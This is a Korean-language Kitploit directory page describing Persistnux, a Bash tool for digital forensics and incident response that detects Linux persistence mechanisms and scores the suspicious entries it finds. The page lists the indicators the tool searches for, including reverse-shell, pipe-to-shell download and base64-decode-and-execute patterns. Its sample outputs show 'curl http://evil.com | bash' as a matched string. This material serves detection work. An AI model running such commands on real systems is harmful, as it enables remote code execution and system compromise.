Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Persistnux — DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다. | Kitploit
도구/GitHubGitHub/go-lanz/persistnux
Privilege EscalationPersistence MechanismsVulnerability AnalysisForensicsMalware AnalysisDigital ForensicsLearning & EducationIncident ResponseContainer EscapeLabs & Practice
GitHubgo-lanz/persistnux

Persistnux

351개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다.

저장소 보기

Persistnux

디지털 포렌식 및 침해사고 대응(DFIR) 조사를 위한 포괄적인 Linux 지속성 탐지 도구입니다.

개요

Persistnux는 공격자가 손상된 시스템에 접근을 유지하기 위해 사용하는 알려진 Linux 지속성 메커니즘을 식별하도록 설계된 bash 기반 도구입니다. 시스템 전반에 걸쳐 포괄적인 검사를 수행하고 추가 분석을 위해 CSV 및 JSONL 형식의 상세 보고서를 생성합니다.

기능

  • 포괄적 탐지: 모든 주요 Linux 지속성 메커니즘을 다룹니다.
  • 실시간 분석: 최소한의 종속성으로 라이브 시스템에서 직접 실행됩니다.
  • 상세 출력: 파일 해시, 메타데이터, 신뢰도 점수가 포함된 CSV 및 JSONL 보고서를 생성합니다.
  • 루트 및 비루트: 루트 권한 유무에 관계없이 작동합니다(비루트의 경우 범위 제한).
  • DFIR 준비: 일반적인 DFIR 도구 및 워크플로와 호환되는 출력 형식입니다.
  • 의심 점수: 지표를 기반으로 자동 신뢰도 점수(LOW, MEDIUM, HIGH, CRITICAL)를 부여합니다.
  • 오탐지 감소: 패키지 관리자 통합 및 알려진 정상 서비스 화이트리스트를 제공합니다.
  • 시간 기반 분석: 최근에 수정된 파일에 더 높은 신뢰도 점수를 부여합니다.
  • 패턴 매칭: 리버스 셸, 다운로드-실행 패턴, 난독화 기법을 탐지합니다.

탐지되는 지속성 메커니즘

1. Systemd 서비스

  • /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system 디렉토리의 서비스 파일(.service)
  • 사용자 수준 systemd 서비스
  • 비활성화된 서비스 및 ExecStart가 없는 서비스 필터링
  • 의심스러운 ExecStart 명령 탐지
  • 실행된 바이너리/스크립트의 패키지 무결성 확인

2. Cron 작업 및 예약된 작업

  • 시스템 crontab(/etc/crontab, /etc/cron.d/*)
  • 주기적 실행 디렉토리(/etc/cron.{daily,hourly,weekly,monthly})
  • 모든 사용자의 사용자 crontab(루트 모드)
  • At 작업
  • 예약된 작업 내 의심스러운 명령 패턴
  • /etc/cron.allow 및 /etc/cron.deny ACL 파일 — 존재하지 않는 사용자를 참조하는 항목 플래그

3. 셸 프로필 및 RC 파일

  • 시스템 전체 프로필(/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Profile.d 스크립트(/etc/profile.d/*)
  • 사용자 프로필(.bashrc, .bash_profile, .zshrc, .profile 등)
  • Fish 셸 구성
  • 프로필 파일 내 악성 명령 탐지

4. Init 스크립트 및 RC.local

  • /etc/rc.local 및 변형
  • SysV init 스크립트(/etc/init.d)
  • 런레벨 스크립트(/etc/rc*.d)
  • 의심스러운 다운로드/실행 명령 탐지

5. 커널 모듈 및 라이브러리 프리로딩

  • LD_PRELOAD 구성(/etc/ld.so.preload) — 나열된 각 라이브러리를 패키지 관리자를 통해 확인
  • 동적 링커 구성(/etc/ld.so.conf, /etc/ld.so.conf.d/) — 구성 파일 무결성 확인 + 비표준 경로 .so 파일 스캔 및 확인
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH — 환경 파일이 HIGH로 플래그 지정됨; 참조된 라이브러리 경로 확인(비관리/수정 → CRITICAL)
  • 커널 모듈 매개변수(/etc/modprobe.d/, /etc/modprobe.conf) — 파일 무결성 확인; install 지시문 분석하여 의심스러운 명령 대상 확인; 보안 모듈(apparmor, selinux, seccomp)의 blacklist는 HIGH로 플래그 지정
  • 커널 모듈 자동 로드 구성(/etc/modules, /etc/modules-load.d/) — 구성 무결성 확인; 참조된 모듈 이름을 modinfo를 통해 .ko 파일로 확인 및 검증

6. 추가 메커니즘

  • XDG 자동 시작 항목(.config/autostart, /etc/xdg/autostart) — 루트일 때 모든 사용자 홈 디렉토리 스캔
  • 시스템 환경 파일(/etc/environment) — LD_PRELOAD/LD_LIBRARY_PATH 라이브러리 경로 확인
  • Sudoers 구성 및 드롭인(/etc/sudoers, /etc/sudoers.d/) — NOPASSWD/ALL 패턴 → HIGH
  • PAM(플러그형 인증 모듈):
    • 모든 .so 모듈을 패키지 관리자로 확인; @include 지시문 추적; /etc/pam.conf 포함
    • pam_exec.so 스크립트 분석 — 누락/의심스러운 스크립트 → CRITICAL
    • pam_python.so / pam_perl.so 중계 탐지 — 스크립트 추출 및 분석
    • /etc/security/ 에서 pam_script.so 후크 파일 탐지

8. SSH 지속성

  • 사용자별 ~/.ssh/authorized_keys — 최근 수정된 키 플래그; command= 옵션 내용 분석하여 의심스러운 패턴 탐지
  • 사용자별 ~/.ssh/rc — 존재 시 MEDIUM 플래그; 의심스러운/리버스 셸 내용 → HIGH/CRITICAL

9. 바이너리 하이재킹

  • 설치된 시스템 바이너리를 패키지 데이터베이스와 비교 확인(Debian/Ubuntu: dpkg -V, RHEL/CentOS: rpm -Va)
  • /usr/bin, /usr/sbin, /bin, /sbin 내 수정된 파일 → CRITICAL 발견
  • /lib/security 내 수정된 PAM 모듈 → CRITICAL 발견
  • 오탐지를 방지하기 위해 dpkg 구성 파일(conffiles)은 제외

10. 부트로더 및 Initramfs

  • GRUB init= 커널 매개변수 삽입(/etc/default/grub, /etc/default/grub.d/*.cfg)
  • 루트 레벨 / 에 드롭된 init 스크립트
  • /sysroot/etc/shadow 에 쓰는 pre-pivot 훅이 있는 Dracut initramfs 모듈
  • /etc/initramfs-tools/scripts/ 및 /hooks/ 에 있는 Ubuntu initramfs-tools 훅 스크립트
  • 최근 수정된 /boot/initrd.img-* 이미지(mtime 기반)

11. Polkit(PolicyKit) 조작

  • 무조건적인 ResultAny/ResultInactive/ResultActive=yes 가 있는 .pkla 파일
  • 와일드카드 ID(unix-user:*) 부여
  • 무조건적인 polkit.Result.YES 가 있는 .rules 파일(JavaScript 기반 Polkit >= 0.106)

12. D-Bus 및 NetworkManager

  • 악성 D-Bus 시스템 서비스 Exec= 등록(/usr/share/dbus-1/system-services/)
  • D-Bus 정책 와일드카드 allow own="*" 또는 send_destination="*" 지시문
  • NetworkManager 디스패처 스크립트(/etc/NetworkManager/dispatcher.d/)

13. Udev 규칙

  • 임의의 명령 또는 스크립트를 실행하는 Udev RUN+= 지시문(/etc/udev/rules.d/, /lib/udev/rules.d/)
  • /run/udev/rules.d/ 에 런타임 주입된 규칙
  • RUN+= 내 at/cron 위임 패턴(일반적인 포그라운드 제한 우회)

14. 컨테이너 이스케이프

  • 권한 있는 Docker 컨테이너(--privileged, --pid=host)
  • 컨테이너 내 docker.sock 바인드 마운트(Docker API를 통한 전체 호스트 제어)
  • 컨테이너 엔트리포인트 또는 Dockerfile 내 nsenter -t 1
  • 이스케이프 기법을 포함하는 사용자 쓰기 가능 디렉토리의 Dockerfile

15. 고급 바이너리 및 권한 검사

  • 시스템 디렉토리 전반의 활성 SUID/SGID 파일 시스템 스캔
  • getcap 을 통한 파일 캐퍼빌리티 스캔 — GTFOBins 에서 cap_setuid+ep → CRITICAL
  • 래퍼 스크립트로 이름이 변경된 원본(.original, .old, .bak, .real)이 있는 바이너리 하이재킹
  • /etc/passwd 에서 UID 0인 비루트 계정
  • /etc/passwd 셸 필드의 후행 공백을 통한 셸 마스킹
  • SSH authorized_keys 파일이 있는 시스템 계정(UID 1-999)

설치

root@kitploit:~
# 저장소 복제
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# 스크립트에 실행 권한 부여
chmod +x persistnux.sh

사용법

기본 사용법 (실시간 분석)

root@kitploit:~
# 기본 설정으로 실행 (의심스러운 결과만 표시)
sudo ./persistnux.sh

# 도움말 및 모든 옵션 표시
./persistnux.sh --help

# 일반 사용자로 실행 (범위 제한)
./persistnux.sh

필터링 옵션 (v2.4+)

기본적으로 Persistnux는 노이즈를 줄이고 실행 가능한 위협에 집중하기 위해 의심스러운 결과만 (MEDIUM, HIGH, CRITICAL 신뢰도) 표시합니다.

root@kitploit:~
# 기본값: 의심스러운 결과만 표시
sudo ./persistnux.sh

# 전체 결과 표시 (LOW 신뢰도 포함)
sudo ./persistnux.sh --all
# 또는
sudo FILTER_MODE=all ./persistnux.sh

# HIGH 및 CRITICAL 신뢰도 결과만 표시
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# 필터 결합: HIGH 신뢰도만
sudo ./persistnux.sh --min-confidence HIGH

사용자 정의 출력 디렉토리

root@kitploit:~
# 사용자 정의 출력 디렉토리 지정
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# 필터링과 결합
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

출력 파일

기본적으로 Persistnux는 ./persistnux_output/ 디렉토리를 생성하며 다음 파일을 포함합니다:

  • persistnux_<hostname>_<timestamp>.csv - CSV 형식 보고서
  • persistnux_<hostname>_<timestamp>.jsonl - JSONL 형식 보고서 (줄당 하나의 JSON 객체)
  • persistnux_<hostname>_<timestamp>_report.txt - 사람이 읽을 수 있는 요약 보고서 (결과 개수 및 스캔 메타데이터 포함)

출력 형식

CSV 형식

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

JSONL 형식

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

주요 출력 필드

  • matched_pattern: 결과를 트리거한 탐지 패턴 (예: suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string: 발견된 실제 의심스러운 내용 (키워드가 아닌 전체 줄)

신뢰도 점수

Persistnux는 오탐지를 줄이기 위해 지능적인 신뢰도 점수를 사용합니다:

  • LOW: 표준 시스템 구성, 낮은 의심 (종종 패키지 관리 파일)
  • MEDIUM: 잠재적으로 의심스럽지만 합법적일 수 있음
  • HIGH: 의심스러운 패턴 탐지 (예: cron 내 curl/wget, /tmp 실행, 리버스 셸)
  • CRITICAL: 변조의 결정적 증거 — 패키지 무결성 확인 실패, 의심스러운 파일의 SUID/SGID, PAM 모듈 이상, 임시 위치의 systemd 생성기, 또는 높은 엔트로피 페이로드가 있는 인라인 인터프리터 코드

오탐지 감소 (v1.2+)

Persistnux는 이제 오탐지를 줄이기 위한 여러 기능을 포함합니다:

  1. 패키지 관리자 통합: dpkg (Debian/Ubuntu) 또는 rpm (RedHat/CentOS)으로 관리되는 파일은 더 낮은 신뢰도 점수를 받습니다.
  2. 알려진 정상 서비스 화이트리스트: 일반적인 공급업체 서비스(systemd-, dbus-, snap.* 등)는 자동으로 건너뜁니다.
  3. 시간 기반 점수: 최근 수정된 파일(<7일)은 더 높은 신뢰도 점수를 받습니다.
  4. 컨텍스트 인식 분석: 여러 지표를 결합하여 더 정확한 탐지를 수행합니다.

의심스러운 지표

Persistnux는 다음을 감지할 때 자동으로 항목에 더 높은 신뢰도를 부여합니다:

네트워크 기반 패턴

  • 리버스 셸: bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • 네트워크 도구: nc, netcat, socat, telnet
  • 스크립팅 언어의 소켓 작업: python -c 'import socket'

다운로드 및 실행 패턴

  • 다운로드 도구: curl | bash, wget | sh
  • 다운로드 후 실행: curl URL -o /tmp/file && chmod +x

난독화 기법

  • 인코딩: base64 -d | bash, eval $(echo BASE64)
  • 동적 실행: eval, exec

의심스러운 위치

  • 임시 디렉토리: /tmp, /dev/shm, /var/tmp
  • 숨겨진 디렉토리 및 파일

권한 조작

  • 파일 실행 가능하게 만들기: chmod +x, chmod 777
  • SUID 비트 조작: chmod u+s

요구 사항

  • Bash 4.0+
  • 표준 Unix 유틸리티: find, grep, stat, sha256sum, awk, file
  • 선택 사항: systemctl, lsmod, modinfo, getcap, dpkg/rpm (특정 검사용)
  • 인터프리터 종속성 없음 (순수 bash + coreutils; python/jq 필요 없음)
  • 포괄적인 분석을 위해 루트/sudo 접근 권한 권장

테스트 완료 / 호환성

참고: 이 도구는 주로 Ubuntu/Debian 시스템에서 테스트되었습니다. RedHat, Fedora 및 RPM 기반 배포판은 코드에 패키지 관리자 지원이 구현되어 있지만 라이브 테스트 환경에서 검증되지 않았습니다. RPM 기반 배포판에 대한 기여 및 테스트 보고서를 환영합니다.

테스트 / 벤치마크

Persistnux는 Persistnux가 탐지하는 것과 동일한 지속성 메커니즘을 설치하는 PANIX에 대해 벤치마크됩니다. tests/panix_benchmark.sh의 반복 가능한 테스트 하니스는 각 PANIX 기법을 적용하고, Persistnux를 실행하며, 기준 diff를 통해 탐지를 확인합니다. 테스트 박스에 적용되는 모든 파일 기반 PANIX 기법은 MEDIUM+ 신뢰도로 탐지됩니다. 전체 적용 범위 표와 방법론은 PANIX_BENCHMARK.md를 참조하십시오.

⚠️ 벤치마크는 실제 백도어를 설치합니다 — 폐기 가능한 VM에서만 실행하십시오.

로드맵

  • 포렌식 디스크 이미지를 위한 오프라인 분석 모드
  • UAC(Unix 아티팩트 수집기) 수집 통합
  • 전체 VM에서 부트로더/initramfs/LKM 벡터로 PANIX 벤치마크 확장

리소스

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

기여

기여를 환영합니다! 다음에 대해 자유롭게 풀 리퀘스트를 제출하거나 이슈를 열어 주십시오:

  • 새로운 지속성 메커니즘 탐지
  • 버그 수정
  • 문서 개선
  • 성능 최적화
  • 추가 출력 형식

라이선스

MIT 라이선스 — 자세한 내용은 LICENSE 파일을 참조하십시오.

감사의 말

Linux 침해사고 대응 및 포렌식 조사를 돕기 위해 DFIR 커뮤니티를 위해 개발되었습니다.

면책 조항

이 도구는 승인된 보안 테스트, 침해사고 대응 및 포렌식 분석 목적으로만 사용됩니다. 사용자는 이 도구를 시스템에서 실행하기 전에 적절한 승인을 받아야 할 책임이 있습니다.

연락처

질문, 이슈 또는 기여에 대해서는 GitHub 이슈 트래커를 사용해 주십시오.

도구 다운로드
  • 로드된 커널 모듈(lsmod) — 열거 및 무결성 확인
  • 구성 파일 무결성 — 패키지 소유 PAM 구성 수정 → CRITICAL
  • pam_env.conf 및 ~/.pam_environment LD_PRELOAD 라이브러리 확인
  • /etc/security/ 일반 스캔
  • MOTD 스크립트(/etc/update-motd.d/) — 패키지 확인; 수정 → CRITICAL
  • Git 자격 증명 헬퍼 및 core.pager 설정 — 모든 사용자에 대한 내용 분석
  • 일반적인 웹 디렉토리 내 웹 셸
  • 배포판상태비고
    Ubuntu 22.04 LTS✅ 테스트 완료주요 개발 및 테스트 플랫폼
    Ubuntu 20.04 LTS✅ 테스트 완료완전 지원
    Debian 11/12✅ 테스트 완료dpkg 기반, 동일한 경로 규칙
    Kali Linux (rolling)✅ 테스트 완료PANIX 탐지 벤치마크에 사용됨 (아래 참조)
    RedHat / RHEL⚠️ 아직 테스트 안 됨rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음
    Fedora⚠️ 아직 테스트 안 됨rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음
    CentOS / AlmaLinux / Rocky⚠️ 아직 테스트 안 됨rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음